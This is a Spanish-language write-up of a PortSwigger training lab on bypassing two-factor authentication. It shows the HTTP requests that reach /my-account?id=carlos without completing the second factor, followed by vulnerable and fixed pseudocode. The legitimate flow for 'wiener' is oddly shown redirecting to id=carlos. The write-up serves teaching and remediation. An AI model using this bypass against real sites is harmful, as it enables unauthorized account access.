← Writeups

2FA Simple Bypass — Missing Server-Side Enforcement — PortSwigger Lab

Bypass del segundo factor navegando directamente a /my-account?id=carlos: el MFA es un paso de navegación y no un requisito de autorización del backend.

2FA Simple Bypass

1. Target Overview & Vulnerability Summary

Campo Valor
Severidad Alta
Endpoint vulnerable GET /my-account?id=carlos
Root cause El MFA se implementa como parte del flujo de navegación y no se valida como requisito de autorización en el backend (Broken Access Control)

Tras el POST /login, la sesión queda parcialmente autenticada pero los endpoints protegidos no comprueban que el segundo factor se haya completado. Además, el recurso se resuelve por el parámetro manipulable id en lugar de derivar el usuario de la sesión. Resultado: el flujo /login2 (MFA) se puede saltar por completo.

2. Technical Breakdown & Exploitation Flow

2.1 Mapeo del flujo legítimo

Con wiener:peter se reproduce el flujo completo y se observa el destino tras enviar el código:

GET /login HTTP/2
POST /login HTTP/2

username=wiener&password=peter
GET /login2 HTTP/2
POST /login2 HTTP/2

mfa-code=1234
HTTP/2 302 Found
Location: /my-account?id=carlos

2.2 Bypass directo del segundo factor

La respuesta del flujo legítimo confirma la estructura de la ruta protegida: /my-account?id=<usuario>. Para comprometer la cuenta de carlos basta con solicitar directamente el endpoint, saltando /login2:

GET /my-account?id=carlos HTTP/2
Cookie: session=<SESSION_PARCIAL>

La sesión creada en el paso 1 (sin MFA completado) es suficiente para acceder al recurso: el segundo factor nunca se valida en el backend.

3. Root Cause Analysis

El patrón defectuoso es tratar el MFA como una etapa del flujo de navegación y no como un gate de autorización:

# Implementación vulnerable
# POST /login
if valid_credentials(username, password):
    session.user = username
    redirect("/login2")

# POST /login2
if valid_mfa(code):
    redirect("/my-account?id=" + session.user)

# GET /my-account
if session.user != null:
    show_account(request.id)   # ❌ No valida MFA completado ni que id == session.user

Dos fallos acumulados: (1) el backend no exige mfa_verified == true en los recursos sensibles y (2) el identificador del recurso proviene del parámetro id, no de la sesión.

4. Secure Remediation

Exigir el factor en el servidor y derivar el usuario desde la sesión:

# Implementación segura
# GET /my-account
if session.user == null or not session.mfa_verified:
    deny()                                    # El MFA es obligatorio en el backend

show_account(session.user)                    # id derivado de la sesión, no del cliente

El 2FA debe ejecutarse como middleware de autorización sobre cada endpoint sensible, y los identificadores de recursos nunca deben tomarse de parámetros manipulables sin validación de pertenencia.